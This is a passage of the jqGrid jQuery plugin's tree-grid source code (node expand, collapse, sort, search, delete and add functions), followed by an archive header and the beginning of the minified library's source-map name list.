= true; if(this.p.treeGridModel === 'nested') { $(this).jqGrid("setGridParam",{postData:{nodeid:'',n_left:'',n_right:'',n_level:''}}); } else { $(this).jqGrid("setGridParam",{postData:{nodeid:'',parentid:'',n_level:''}}); } } $($t).triggerHandler("jqGridAfterExpandTreeGridNode", [id, rc]); if($.jgrid.isFunction(this.p.afterExpandTreeGridNode)) { this.p.afterExpandTreeGridNode.call(this, id, rc ); } } }); }, collapseNode : function(rc) { return this.each(function(){ if(!this.grid || !this.p.treeGrid) {return;} var expanded = this.p.treeReader.expanded_field, $t = this; if(rc[expanded]) { var id = $.jgrid.getAccessor(rc,this.p.localReader.id), rc1 = $("#" + this.p.idPrefix + $.jgrid.jqID(id),this.grid.bDiv)[0], ret = $($t).triggerHandler("jqGridBeforeCollapseTreeGridNode", [id, rc]); if(ret === undefined ) { ret = true; } if( ret && $.jgrid.isFunction(this.p.beforeCollapseTreeGridNode) ) { ret = this.p.beforeCollapseTreeGridNode.call(this, id, rc ); } rc[expanded] = false; if( ret === false ) { return; } $("div.treeclick",rc1).removeClass(this.p.treeIcons.minus+" tree-minus").addClass(this.p.treeIcons.plus+" tree-plus"); $($t).triggerHandler("jqGridAfterCollapseTreeGridNode", [id, rc]); if($.jgrid.isFunction(this.p.afterCollapseTreeGridNode)) { this.p.afterCollapseTreeGridNode.call(this, id, rc ); } } }); }, SortTree : function( sortname, newDir, st, datefmt) { return this.each(function(){ if(!this.grid || !this.p.treeGrid) {return;} var i, len, rec, records = [], $t = this, query, roots, rt = $(this).jqGrid("getRootNodes", $t.p.search); // Sorting roots query = $.jgrid.from.call(this, rt); // sort tree by node type if( Boolean($t.p.sortTreeByNodeType)) { var ord = ($t.p.sortTreeNodeOrder && $t.p.sortTreeNodeOrder.toLowerCase() === 'desc') ? 'd' : 'a'; query.orderBy($t.p.treeReader.leaf_field, ord, st, datefmt); } query.orderBy(sortname, newDir, st, datefmt); roots = query.select(); // Sorting children for (i = 0, len = roots.length; i < len; i++) { rec = roots[i]; records.push(rec); $(this).jqGrid("collectChildrenSortTree",records, rec, sortname, newDir, st, datefmt); } var ids = $(this).jqGrid("getDataIDs"), j=1; $.each(records, function(index) { var id = $.jgrid.getAccessor(this, $t.p.localReader.id); if($.inArray(id, ids) !== -1) { $('#'+$.jgrid.jqID($t.p.id)+ ' tbody tr').eq( j ).after($('#'+$.jgrid.jqID($t.p.id)+' tbody tr#'+$.jgrid.jqID(id))); j++; } }); query = null;roots=null;records=null; }); }, searchTree : function ( recs ) { var n = recs.length || 0, ancestors=[], lid, roots=[], result=[],tid, alen, rlen, j, k, i; this.each(function(){ if(!this.grid || !this.p.treeGrid) { return; } if(n) { lid = this.p.localReader.id; //while( i-- ) { // reverse for( i=0; i<n; i++ ) { ancestors = $(this).jqGrid('getNodeAncestors', recs[i], true, true); //add the searched item if( Boolean(this.p.FullTreeSearchResult) ) { var fnode = $(this).jqGrid('getFullTreeNode', recs[i], true); ancestors = ancestors.concat(fnode); } else { ancestors.push(recs[i]); } tid = ancestors[0][lid]; if($.inArray(tid, roots ) !== -1) { // ignore repeated, but add missing for( j = 0, alen = ancestors.length; j < alen; j++) { //$.inArray ?!? var found = false; for( k=0, rlen = result.length; k < rlen; k++) { if(ancestors[j][lid] === result[k][lid]) { found = true; break; } } if(!found) { result.push(ancestors[j]); } } continue; } else { roots.push( tid ); } result = result.concat( ancestors ); } } }); return result; }, collectChildrenSortTree : function(records, rec, sortname, newDir,st, datefmt) { return this.each(function(){ if(!this.grid || !this.p.treeGrid) {return;} var i, len, child, ch, query, children; ch = $(this).jqGrid("getNodeChildren",rec, this.p.search); query = $.jgrid.from.call(this, ch); query.orderBy(sortname, newDir, st, datefmt); children = query.select(); for (i = 0, len = children.length; i < len; i++) { child = children[i]; records.push(child); $(this).jqGrid("collectChildrenSortTree",records, child, sortname, newDir, st, datefmt); } }); }, // experimental setTreeRow : function(rowid, data) { var success=false; this.each(function(){ var t = this; if(!t.grid || !t.p.treeGrid) {return;} success = $(t).jqGrid("setRowData", rowid, data); }); return success; }, delTreeNode : function (rowid, reload) { return this.each(function () { var $t = this, rid = $t.p.localReader.id, i, left = $t.p.treeReader.left_field, parent, right = $t.p.treeReader.right_field, myright, width, res, key; if(!$t.grid || !$t.p.treeGrid) {return;} rowid = $.jgrid.stripPref($t.p.idPrefix, rowid); var rc = $t.p._index[rowid]; if(typeof reload === undefined) { reload = false; } if(reload) { parent = $(this).jqGrid("getNodeParent",$t.p.data[rc]); } if (rc !== undefined) { // nested myright = parseInt($t.p.data[rc][right],10); width = myright - parseInt($t.p.data[rc][left],10) + 1; var dr = $($t).jqGrid("getFullTreeNode",$t.p.data[rc]); if(dr.length>0){ for (i=0;i<dr.length;i++){ $($t).jqGrid("delRowData", $t.p.idPrefix + dr[i][rid]); } } if( $t.p.treeGridModel === "nested") { // ToDo - update grid data res = $.jgrid.from.call($t, $t.p.data) .greater(left,myright,{stype:'integer'}) .select(); if(res.length) { for( key in res) { if(res.hasOwnProperty(key)) { res[key][left] = parseInt(res[key][left],10) - width ; } } } res = $.jgrid.from.call($t, $t.p.data) .greater(right,myright,{stype:'integer'}) .select(); if(res.length) { for( key in res) { if(res.hasOwnProperty(key)) { res[key][right] = parseInt(res[key][right],10) - width ; } } } } if(reload) { var isLeaf = this.p.treeReader.leaf_field; var chld = $(this).jqGrid('getNodeChildren', parent); if(parent[isLeaf] && chld.length) { $(this).jqGrid('setLeaf', parent, false); } else if(!rc[isLeaf] && chld.length === 0) { $(this).jqGrid('setLeaf', parent, true); } } } }); }, delChildren : function (rowid) { return this.each(function () { var $t = this, rid = $t.p.localReader.id, left = $t.p.treeReader.left_field, right = $t.p.treeReader.right_field, myright, width, res, key; if(!$t.grid || !$t.p.treeGrid) {return;} rowid = $.jgrid.stripPref($t.p.idPrefix, rowid); var rc = $t.p._index[rowid]; if (rc !== undefined) { // nested myright = parseInt($t.p.data[rc][right],10); width = myright - parseInt($t.p.data[rc][left],10) + 1; var dr = $($t).jqGrid("getFullTreeNode",$t.p.data[rc]); if(dr.length>0){ for (var i=0;i<dr.length;i++){ if(dr[i][rid] !== rowid) $($t).jqGrid("delRowData", $t.p.idPrefix + dr[i][rid]); } } if( $t.p.treeGridModel === "nested") { // ToDo - update grid data res = $.jgrid.from($t.p.data) .greater(left,myright,{stype:'integer'}) .select(); if(res.length) { for( key in res) { if(res.hasOwnProperty(key)) { res[key][left] = parseInt(res[key][left],10) - width ; } } } res = $.jgrid.from($t.p.data) .greater(right,myright,{stype:'integer'}) .select(); if(res.length) { for( key in res) { if(res.hasOwnProperty(key)) { res[key][right] = parseInt(res[key][right],10) - width ; } } } } } }); }, addChildNode : function( nodeid, parentid, data, expandData ) { //return this.each(function(){ var $t = this[0]; if(data) { // we suppose tha the id is autoincremet and var expanded = $t.p.treeReader.expanded_field, isLeaf = $t.p.treeReader.leaf_field, level = $t.p.treeReader.level_field, //icon = $t.p.treeReader.icon_field, parent = $t.p.treeReader.parent_id_field, left = $t.p.treeReader.left_field, right = $t.p.treeReader.right_field, loaded = $t.p.treeReader.loaded, method, parentindex, parentdata, parentlevel, i, len, max=0, rowind = parentid, leaf, maxright; if(expandData===undefined) {expandData = false;} if ( nodeid == null ) { i = $t.p.data.length-1; if( i>= 0 ) { while(i>=0){max = Math.max(max, parseInt($t.p.data[i][$t.p.localReader.id],10)); i--;} } nodeid = max+1; } var prow = $($t).jqGrid('getInd', parentid); leaf = false; // if not a parent we assume root if ( parentid === undefined || parentid === null || parentid==="") { parentid = null; rowind = null; method = 'last'; parentlevel = $t.p.tree_root_level; i = $t.p.data.length+1; } else { method = 'after'; var mid = $.jgrid.stripPref($t.p.idPrefix, parentid); parentindex = $t.p._index[mid]; parentdata = $t.p.data[parentindex]; parentid = parentdata[$t.p.localReader.id]; parentlevel = parseInt(parentdata[level],10)+1; var childs = $($t).jqGrid('getFullTreeNode', parentdata); // if there are child nodes get the last index of it if(childs.length) { i = childs[childs.length-1][$t.p.localReader.id]; rowind = i; i = $($t).jqGrid('getInd', $t.p.idPrefix + rowind); } else { i = $($t).jqGrid('getInd', $t.p.idPrefix + parentid); } // if the node is leaf if(parentdata[isLeaf]) { leaf = true; parentdata[expanded] = true; //var prow = $($t).jqGrid('getInd', parentid); $($t.rows[prow]) .find("span.cell-wrapperleaf").removeClass("cell-wrapperleaf").addClass("cell-wrapper") .end() .find("div.tree-leaf").removeClass($t.p.treeIcons.leaf+" tree-leaf").addClass($t.p.treeIcons.minus+" tree-minus"); $t.p.data[parentindex][isLeaf] = false; parentdata[loaded] = true; } // incremet th index of child to be inserted if( i === false ) { throw "Parent item with id: " + rowind + " ("+ parentid+") can't be found"; //return; } else { i++; } } len = i+1; if( data[expanded]===undefined) {data[expanded]= false;} if( data[loaded]===undefined ) { data[loaded] = false;} data[level] = parentlevel; if( data[isLeaf]===undefined) {data[isLeaf]= true;} if( $t.p.treeGridModel === "adjacency") { data[parent] = parentid; } if( $t.p.treeGridModel === "nested") { // this method requiere more attention var query, res, key; //maxright = parseInt(maxright,10); // ToDo - update grid data if(parentid !== null) { maxright = parseInt(parentdata[right],10); query = $.jgrid.from.call($t, $t.p.data); query = query.greaterOrEquals(right,maxright,{stype:'integer'}); res = query.select(); if(res.length) { for( key in res) { if(res.hasOwnProperty(key)) { res[key][left] = res[key][left] > maxright ? parseInt(res[key][left],10) +2 : res[key][left]; res[key][right] = res[key][right] >= maxright ? parseInt(res[key][right],10) +2 : res[key][right]; } } } data[left] = maxright; data[right]= maxright+1; } else { maxright = parseInt( $($t).jqGrid('getCol', right, false, 'max'), 10); res = $.jgrid.from.call($t, $t.p.data) .greater(left,maxright,{stype:'integer'}) .select(); if(res.length) { for( key in res) { if(res.hasOwnProperty(key)) { res[key][left] = parseInt(res[key][left],10) +2 ; } } } res = $.jgrid.from.call($t, $t.p.data) .greater(right,maxright,{stype:'integer'}) .select(); if(res.length) { for( key in res) { if(res.hasOwnProperty(key)) { res[key][right] = parseInt(res[key][right],10) +2 ; } } } data[left] = maxright+1; data[right] = maxright + 2; } } if( parentid === null || $($t).jqGrid("isNodeLoaded",parentdata) || leaf ) { $($t).jqGrid('addRowData', nodeid, data, method, $t.p.idPrefix + rowind); $($t).jqGrid('setTreeNode', i, len); } if(parentdata && !parentdata[expanded] && expandData) { $($t.rows[prow]) .find("div.treeclick") .click(); } } //}); } }); //module end })); jquery.jqGrid.min.js.map000064400002616705151677266200011233 0ustar00{"version":3,"file":"jquery.jqGrid.min.js","sources":["jquery.jqGrid.js"],"names":["factory","define","amd","jQuery","$","jgrid","hasOwnProperty","defaults","extend","version","isNull","p","strict_eq","trim","x","replace","isFunction","type","obj","fullClass","Object","prototype","toString","call","toLowerCase","deepType","slice","match","floatNum","val","defval","undefined","parseFloat","isNaN","htmlDecode","value","length","charCodeAt","String","htmlEncode","template","format","j","args","makeArray","arguments","al","m","i","parseInt","Array","isArray","nmarr","k","nm","v","msie","msiever","rv","sAgent","window","navigator","userAgent","Idx","indexOf","substring","getCellIndex","cell","c","is","closest","inArray","parentNode","cells","cellIndex","stripHtml","stripPref","pref","id","stripScript","useJSON","runCode","Function","parse","jsonString","js","JSON","dateToOADate","date","temp","Date","Math","round","setHours","abs","toFixed","parseDate","newformat","opts","pad","h12to24","ampm","h","dM","hl","msDateRegExp","RegExp","msMatch","ts","d","y","s","u","timestamp","offset","getRegional","this","parseRe","AmPm","masks","constructor","validate","Number","getTimezoneOffset","setTime","srcformat","charAt","split","monthNames","f","ty","valid_date","Boolean","getDate","getHours","getMinutes","userLocalTime","G","n","getMonth","o","getSeconds","getMilliseconds","w","getDay","Y","getFullYear","N","z","flags","D","dayNames","l","S","W","floor","F","M","t","L","a","A","B","g","H","e","I","O","P","pos","ch","T","pop","Z","r","U","$0","jqID","sid","guid","uidPref","randId","prefix","getAccessor","expr","ret","prm","shift","getXmlData","returnObj","attr","text","cellWidth","$testDiv","testCell","appendTo","find","width","remove","isLocalStorage","localStorage","inst","param","def_val","regional","isMobile","test","cell_width","scrollbarWidth","div","w1","append","innerWidth","w2","css","scrollbarHeight","outerHeight","scrollHeight","ajaxOptions","from","source","$t","q","data","self","_data","_usecase","_trim","_query","_stripNum","_lastCommand","_lastField","_orDepth","_negate","_queuedOperator","_sorting","_useProperties","push","_hasData","_getStr","phrase","join","_strComp","_group","field","unique","items","_toStr","_funcLoop","func","results","each","_append","_setCommand","_resetNegate","_repeatCommand","_equals","b","_compare","localeCompare","_performSort","_doSort","by","dir","dfmt","datefmt","sfunc","_getOrder","sorted","values","_getGroup","ab","findSortKey","sortData","_sortData","newDir","nrec","$cell","key","NEGATIVE_INFINITY","getTime","vSort","index","sort","group","last","ignoreCase","useCase","noTrim","execute","stringify","select","hasMatch","andNot","and","orNot","or","not","orBegin","orEnd","isNot","_compareValues","how","fld","swst","stype","srcfmt","equals","notEquals","greater","less","greaterOrEquals","lessOrEquals","startsWith","endsWith","contains","user","op","_a","inData","vl","groupBy","orderBy","getMethod","name","fn","jqGrid","methods","no_legacy_api","clearBeforeUnload","jqGridId","grid","emptyRows","document","off","hDiv","headers","removevents","el","gridUnload","defgrid","newtable","gid","cl","pager","empty","removeClass","createElement","className","insertBefore","parents","gridDestroy","_","isElementInViewport","rect","getBoundingClientRect","left","right","documentElement","clientWidth","getTextWidth","font","canvas","_cacheCanvas","createDocumentFragment","appendChild","getContext","measureText","getFont","instance","getfont","getComputedStyle","getPropertyValue","setSelNavIndex","selelem","cels","navIndex","splitSearch","property","rules","mergeOper","getElemByAttrVal","elem","position","len","searchColOnEnter","gridid","rid","tb","res","opt","searchColOptions","frozen","e1","frozenColumns","bDiv","focus","_ftsc","_fthc","_avc","colModel","hidden","_results","_cnth","Set","visibleColumns","_cnthSet","filter","includes","get_result","to_show","count","searchOp","toUpperCase","swap","isEmptyObject","concat","fbDiv","frozenRows","trigger","vall","datarow","_cts","has","aOperands","operand","search","this_len","searchColOnKey","setTimeout","comboGrid","elemId","gridopt","gridId","divId","save_datatype","datatype","coord","onSelectRow","srow","return_fld","hide","scrollrows","divgrid","getElementById","background-color","top","zIndex","on","timer","gID","dID","show","eee","Event","selrow","keyCode","clearTimeout","defaultSearch","selectFirstFound","url","inColumnHeader","columnHeaders","startColumnName","isServiceCol","normalizeDbData","input","let","cm","sorttype","formatter","formatoptions","reformatAfterEdit","isVisible","offsetWidth","offsetHeight","getClientRects","styleUI","jQueryUI","common","disabled","highlight","hover","cornerall","cornertop","cornerbottom","icon_base","overlay","active","error","button","content","shadow","base","entrieBox","viewBox","headerTable","headerBox","rowTable","rowBox","stripedTable","footerTable","footerBox","headerRowTable","headerRowBox","headerDiv","gridtitleBox","customtoolbarBox","loadingBox","rownumBox","scrollBox","multiBox","searchBox","searchSelect","pagerBox","pagerTable","toppagerBox","pgInput","pgSelectBox","pgButtonBox","icon_first","icon_prev","icon_next","icon_end","icon_asc","icon_desc","icon_caption_open","icon_caption_close","modal","header","body","footer","resizable","icon_close","icon_resizable","celledit","inputClass","selectClass","inlinedit","icon_edit_nav","icon_add_nav","icon_save_nav","icon_cancel_nav","formedit","labelClass","icon_save","icon_del","icon_cancel","icon_del_nav","icon_search_nav","icon_refresh_nav","icon_view_nav","icon_newbutton_nav","grouping","icon_plus","icon_minus","table_widget","srSelect","srInput","menu_widget","icon_search","icon_reset","icon_query","subgrid","icon_open","treegrid","icon_leaf","fmatter","icon_edit","icon_add","colmenu","input_checkbox","filter_select","filter_input","icon_menu","icon_search_menu","icon_sort_asc","icon_sort_desc","icon_columns","icon_filter","icon_group","icon_freeze","icon_move","icon_new_item","icon_toolbar_menu","icon_group_op","icon_oper_op","Bootstrap","title","Bootstrap4","Bootstrap5","iconSet","Iconic","Octicons","fontAwesome","pin","localData","height","defaultColWidth","page","rowNum","rowTotal","records","pgbuttons","pginput","rowList","colNames","sortorder","sortname","mtype","altRows","selarrrow","preserveSelection","savedRow","shrinkToFit","xmlReader","jsonReader","subGrid","subGridModel","reccount","lastpage","lastsort","beforeSelectRow","onSortCol","ondblClickRow","onRightClickRow","onPaging","onSelectAll","onInitGrid","loadComplete","gridComplete","loadError","loadBeforeSend","afterInsertRow","beforeRequest","beforeProcessing","onHeaderClick","viewrecords","loadonce","multiselect","multikey","multiboxonly","multimail","multiselectWidth","onMultiSleect","editurl","caption","hidegrid","hiddengrid","postData","userData","treeGrid","treeGridModel","treeReader","treeANode","ExpandColumn","tree_root_level","prmNames","rows","order","nd","oper","editoper","addoper","deloper","subgridid","npage","totalrows","forceFit","gridstate","cellEdit","cellsubmit","nv","loadui","toolbar","scroll","deselectAfterSort","autowidth","scrollOffset","cellLayout","subGridWidth","gridview","rownumWidth","rownumbers","pagerpos","recordpos","footerrow","userDataOnFooter","headerrow","userDataOnHeader","hoverrows","viewsortcols","resizeclass","autoencode","remapColumns","ajaxGridOptions","direction","toppager","headertitles","scrollTimeout","_index","groupingView","groupField","groupOrder","groupText","groupColumnShow","groupSummary","showSummaryOnHide","sortitems","sortnames","summary","summaryval","plusicon","minusicon","displayField","groupSummaryPos","formatDisplayField","_locgr","groupHeaderOn","cmTemplate","idPrefix","multiSort","minColWidth","minGridWidth","maxGridWidth","scrollPopUp","scrollTopOffset","scrollLeftOffset","scrollMaxBuffer","storeNavOptions","responsive","forcePgButtons","resizeHeight","restoreCellonFail","editNextRowCell","colFilters","colMenu","colMenuCustom","colMenuColumnDone","colMenuBeforeProcess","colSpanHeader","treeGrid_bigData","treeGrid_rootParams","otherData","treeGrid_beforeRequest","treeGrid_afterLoadComplete","useNameForSearch","formatFooterData","formatHeaderData","mergeSearch","searchModules","filterInput","filterToolbar","searchGrid","colMenuSearch","emptyRecordRow","ariaBody","searchCols","colWidth","colName","searchOnEnter","dbconfig","dbname","dbversion","dbtable","deleteIfExists","loadIfExists","isKeyInData","dataUrl","reader","beforeInsertData","fetchOptions","cols","footers","hrheaders","dragStart","gridLeftPos","minW","minResizeWidth","resizing","idx","startX","pageX","sOL","style","cursor","curGbox","display","triggerHandler","resizeStart","onselectstart","dragMove","newWidth","hn","nWn","diff","tblwidth","dragEnd","events","forceFrozen","nw","first","scrollLeft","sDiv","hrDiv","resizeStop","populateVisible","dh","rh","rn","scrollTop","ttop","tbot","table","prevRowHeight","pv","loading","selectionPreserver","populate","html","pgtext","mouseout","scrollGrid","bScroll","hScroll","restoreSelection","sra","sr","tagName","alert","documentMode","lr","lk","spsh","useProp","prop","label","colTemplate","getstyle","stylemodule","iconbase","colmenustyle","isMSIE","sortarr","sortord","sotmp","gv","eg","_ald","grid_font","loadtext","role","aria-multiselectable","aria-labelledby","intNum","formatCol","rowInd","tv","rawObject","rowId","rdata","ral","align","result","clas","classes","acp","cellattr","celp","cellVal","cellval","colpos","rwdat","_act","autoResizing","autosize","_maxsize","canvas_width","max","sizingStringFunc","addCell","irow","srvr","addMulti","rowid","checked","uiclass","rowSelectTitle","selectLine","addRowNum","pG","rN","addSearch","searchColEvent","xmlmap","jsonmap","keyName","keyIndex","orderedCols","map","locdata","firstrow","deepempty","firstChild","normalizeData","cur","idn","idr","ccur","rd","arrayReader","objectReader","rowReader","dataLength","localReader","cellName","iOffset","br","repeatitems","refreshIndex","datalen","idname","constructTr","attrName","tabindex","restAttr","rowAttrObj","rowattr","ra","addXmlData","xml","rcnt","more","adjust","startReq","xmlid","xmlRd","treeadjtmp","frd","isXMLDoc","fpos","addSubGridCell","getId","xmlr","groupingPrepare","selr","ir","si","rowData","ni","gi","sc","gxml","trow","eq","getAttribute","total","userdata","root","gl","row","grpdata","tablebody","hiderow","groupCollapse","afterInsRow","rnc","scc","mlc","iStartTrTag","textContent","after","totaltime","splice","ceil","updatepager","setHeadCheckBox","cells2","addJSONData","dReader","drows","ccur2","locid","selected","addIndexedDBData","async","retAll","Promise","resolve","reject","INDEX_NAME","ORDER","recordsperpage","totalpages","srules","everyORsome","filters","groupOp","col","conv","compareFnMap","queryObj","_uselwcs","ne","lt","le","gt","ge","bw","bn","ew","en","cn","nc","in","nu","nn","bt","minmax","connection","indexedDB","open","onsuccess","transaction","retresult","oncomplete","event","low","high","cmp","onerror","endReq","target","objectStore","limit","pow","getAll","lenn","console","log","addLocalData","st","sto","fndsort","cmtypes","grtypes","grindexes","lengrp","gin","grpview","newfmt","sortfunc","_sort","query","tojLinq","gor","opr","rule","rulefld","ror","groups","customFilterDef","action","sfld","searchField","searchString","searchOper","se","left_field","queryResults","resetsearch","udc","grPrepare","beginReq","method","loadtype","htmlcontent","beforeprocess","xhr","bfpcr","afterprocess","dstr","lcf","datastr","dt","pvis","pN","min","lc","req","grp","tmpordarr","cmIndex","cmValue","gs","bfr","ajax","dataType","serializeGridData","success","err","beforeSend","settings","gotoreq","parseXML","ready_req","then","fhDiv","setPager","pgid","tp","clearVals","onpaging","thus","pgcnt","removebutt","sep","pginp","pgl","str","lft","cent","rgt","strnm","pgrecs","n1","n2","n3","n4","po","btc","pot","pgfirst","pgprev","pgnext","pglast","reverse","tdw","twd","clone","_nvtd","hasClass","addClass","click","cp","selclick","fp","pp","np","lp","charCode","preventDefault","iCol","sor","selarr","so","isn","aria-selected","aria-sort","sn","lso","firstsortorder","idxcol","reload","sortable","previousSelectedTh","newSelectedTh","newSelThFC","usehide","tmpicon","sscroll","getColumnHeaderIndex","th","ci","buildColItems","parent","all_visible","cols_nm","colNm","texts","colArr","str1","columns_selectAll","reorder","cj","clitem","titleText","gh_len","groupHeader","groupH","ij","groupHeaders","jj","numberOfColumns","disp","hid","lb","hidedlg","html5sortable","handle","forcePlaceholderSize","ui","startindex","endindex","col_name","buildSearchBox","df","o1","v1","r1","o2","v2","repstr","oper1","value1","oper2","value2","searchoptions","sopt","groupOps","odata","defaultValue","soptions","createEl","ajaxSelectOptions","Reset","Find","buildFilters","module","column","item","buildGrouping","isgroup","buildFreeze","isfreeze","lastfrozen","buildSubmenuItems","cname","styles","forEach","icon","itm","exec","funcname","closeOnRun","menubar","pw","tmpcm","bstw2","unshift","fixed","labelClasses","coloptions","sorting","columns","filtering","seraching","freeze","allRowsSelectTitle","selectAllLines","tdc","td","ptr","imgs","emp","chk","thead","iac","idc","tooltip","froz","curind","onMultiSelect","lvc","cw","aw","lvmc","tfoot","trhead","bstw","initwidth","brd","vc","scw","hs","gw","ind","widthOrg","maxWidth","maxwidthcount","diffmaxwidth","notmax","notmaxwidth","cr","testsum","nmi","get","thr","firstr","clicks","hdr_font","disableClick","prepend","hdcol","clcol","autosize_headers","outerText","mousedown","cmax","$th","outerWidth","tid","menuitem","exclude","grid_offset","buildColMenu","menu_offset","cDiv","uDiv","strl","menuData","sortasc","sortdesc","ungrouping","unfreeze","colname","subid","separator","wcm","left1","top1","sobj","stopPropagation","selHeadInd","tbody","ri","tdHtml","tdt","hTable","hg","hb","icoo","mouseover","before","CurrentSelectIndex","InitialSelectIndex","startID","endID","shouldSelectRow","shouldResetRow","perform_select","scb","cSel","allowRowSelect","onCellSelect","shiftKey","initialRowSelect","getDataIDs","getSelection","removeAllRanges","selectMultiRow","rowIndex","reloadGrid","treedatatype","current","inlineNav","dblclick","dbcr","contextmenu","rcr","support","icoc","arf","showhide","arf1","tbstyle","insertAfter","ubDiv","topDiv","nDiv","counter","onHdCl","elems","slideUp","slideDown","mousemove","vScrollWidth","paddingLeft","arfrozen","focused","dnd","to","tot","sppg","tstr","tspg","tspg_t","children","pgboxes","fmt","util","NumberFormat","emptyrecords","rt","recordtext","jqgdnd","act","nodeid","orientationEvent","selection","frz","trid","apply","getGridParam","grid_module","setGridParam","newParams","overwrite","params","getGridRowById","namedItem","getGridRowByIndex","ids","setSelection","onsr","isHight","stat","pt","fid","tfid","rpos","ner","iR","clientHeight","ia","tpsr","csr","resetSelection","onUnSelectRow","iRow","getRowData","usedata","treeindent","visibleTreeNodes","resall","getall","unformat","level","level_field","e_","repeat","delRowData","nextRow","next","setRowData","cssp","usegetrow","jsondat","lcdata","dval","frozenColCount","addRowData","src","sind","aradd","cnm","msc","prp","air","footerData","destroyFrozen","isEmpty","rowlen","headerData","showHideCol","fndh","sw","gHead","gh","hideCol","showCol","hideSearchCol","_e","showSearchCol","permutation","updateCells","keepHeader","resortArray","ac","resortRows","clobj","expColInd","setGridWidth","nwidth","shrink","usefrozen","setgr","norec_row","cle","delta","has_scroll","scrollWidth","setGridHeight","nh","entrie_grid","static_height","maxGridHeight","newhgh","minrh","setCaption","newcap","ctop","setLabel","nData","attrp","thecol","ico","col_menu","er","setSortIcon","htmlcol","setCell","forceupd","tcell","rawdat","fcell","replaceWith","getCell","returnobject","getCol","mathopr","sum","ln","dlen","innerHTML","clearGridData","clearfooter","clearheader","trf","getInd","rc","rw","bindKeys","onEnter","onSpace","onLeftKey","onRightKey","scrollingRows","expanded","expanded_field","previd","mind","previousSibling","onUpKey","nextSibling","onDownKey","unbindKeys","getLocalRow","progressBar","pr","offsetParent","sh","loadDiv","toggle","z-index","getColProp","setColProp","isPlainObject","sortGrid","setGridState","state","close","setFrozenColumns","bpos","htbl","swapfroz","fdel","cs","testws","maxdh","hd","pixelfix","divhth","bhpos","fhrDiv","fsDiv","originalEvent","wheelDelta","detail","ftbl","mh","btbl","tt","bhtop","hrtbl","bttop","destroyFrozenColumns","resizeColumn","forceresize","setfrozen","tgrid","cmLen","getStyleUI","styleui","classui","notclasstag","gridclass","stylemod","cls","resizeGrid","timeout","refreshfrozen","winwidth","parentwidth","ww","winheight","parentheight","wh","colMenuAdd","options","currstyle","colMenuDelete","menubarAdd","closeoncall","divider","cick","menubarDelete","itemid","addColSearchMenu","tstl","Close","Operand","myfunc","Operation","disableColMenu","enableColMenu","editCell","ed","excel","tmp","cc","inpclass","selclass","knv","ic","iRowId","therow","editable","isCellEditable","edittype","etmp","formatCell","tmp2","beforeEditCell","editoptions","elc","bindEv","datepicker","altKey","nodeName","F2key","afterEditCell","saveCell","over_value","fr","savedValues","oldvalue","newvalue","indexRow","errors","edit","nmjq","selectedText","multiple","sel","cbv","custom_value","info_dialog","errcap","msg","nodefined","bClose","novalue","message","vvv","cv","beforeSaveCell","vv","checkValues","nuem","addpost","retsub","beforeSubmitCell","onSubmitCell","postdata","cellurl","NullIfEmpty","opers","serializeCellData","anydata","afterSubmitCell","afterSaveCell","errorCell","onClose","status","statusText","ajaxCellOptions","nourl","catch","validationCell","restoreCell","afterRestoreCell","nextCell","nCol","prevCell","GridNav","kdir","iC","sl","nCOL","pCOL","nROT","offsetTop","pROT","offsetLeft","findNextVisible","keydown","getChangedCells","mthd","showModal","closeModal","hideModal","selector","frmgr","frmdata","thisgrid","jqm","gb","removemodal","formprop","form","oncret","dataheight","datawidth","jqmHide","findPos","createModal","aIDs","insertSelector","posSelector","appendsel","jqModal","rtlsup","gbox","mw","themodal","ahr","modalhead","mc","modalcontent","oncm","gboxclose","recreateForm","parentZ","overflow","tabIndex","aria-hidden","drag","resize","tinyDraggable","draggable","jqResize","scrollelm","handles","alsoResize","closeOnEscape","which","cone","viewModal","toTop","overlayClass","onShow","onHide","jqM","em","focusField","jqmShow","zInd","c_b","modalopt","mopt","innerHeight","buttonalign","buttons","jm","buttstr","cnt","fs","font-size","onClick","beforeOpen","afterOpen","dataInit","dataEvents","tfn","ev","eltype","ajaxso","setAttributes","elm","atr","exl","merge","multiline","cbval","defaultChecked","vl1","setAttribute","msl","ovm","context","txt","cU","cacheUrlData","oV","mss","buildSelect","size","multiseparator","checkUpdate","savedData","sv","ov","oSv","delim","delimiter","ii","custom_element","celm","checkDate","tsp","dln","mln","dv","yln","strDate","year","checkTime","time","regs","valref","customobject","nam","isNum","vn","chkv","dot","isFinite","edtrul","dft","editrules","formoptions","required","rqfield","number","minValue","maxValue","email","integer","fmtdate","custom","custom_func","customarray","customfcheck","validateForm","formvalid","elements","willValidate","setCustomValidity","LegacyValidation","reportValidity","validity","valid","chkbox","minlength","maxlength","pattern","buildButtons","commonstyle","side","getFirstVisibleCol","getLastVisibleCol","postForm","path","hiddenField","submit","removeChild","jqFilter","arg","sortStrategy","onChange","afterRedraw","errmsg","errorcheck","showQuery","ops","operands","numopts","stropts","strarr","groupButton","ruleButtons","uniqueSearchFields","addsubgrup","addrule","delgroup","delrule","unaryOperations","isIE","opera","initFilter","inputtype","searchtype","searchrules","inlist","getGrid","$tg","checkData","colModelItem","onchange","reDraw","createTableForGroup","parentgroup","that","tr","groupOpSelect","inputAddSubgroup","inputAddRule","searchable","searchhidden","inputDeleteGroup","trHolderForSubgroup","tdFirstHolderForSubgroup","tdMainHolderForSubgroup","suni","createTableRowForRule","trpar","ina","ruleFieldTd","ruleFieldSelect","aoprs","curr","prev","selectedIndex","ruleOperatorTd","ruleDataInput","ruleOperatorSelect","removeAttribute","ruleDataTd","ruleDeleteTd","ruleDeleteInput","getStringForGroup","getStringForRule","opUF","opC","resetFilter","hideError","showError","toUserFriendlyString","toSQLString","filterData","getParameter","addFilter","pfilter","filterRefactor","ssdata","rf","ruleGroup","ssfield","splitSelect","autosearch","autosearchDelay","beforeSearch","afterSearch","beforeClear","afterClear","onClearSearchValue","stringResult","searchOperators","resetIcon","disabledKeys","unaryOpers","force_regional","uskey","unary","timeoutHnd","filterobj","filterLabel","triggerToolbar","currentPage","sop","sdata","ms","msfield","afrcol","arcustom","bbt","$elem","fcol","searchOperMenu","splitSearchWord","validationError","saveurl","sd","splitSearchSeparator","bsr","setToolbarFozenVal","ffields","soper","smultiselect","orgCol","frozenCol","soptf","$elem2","dKeys","restoreFromFilters","add","filterFor","sot","thd","stbl","restores","searchtitle","operandTitle","clearSearch","csv","resetTitle","surl","inpelm","coli","sval","operText","clearToolbar","bcv","toggleToolbar","destroyFilterToolbar","refreshFilterToolbar","onClearVal","onSetVal","searchitem","setrules","fsi","recreateFilter","sField","sVal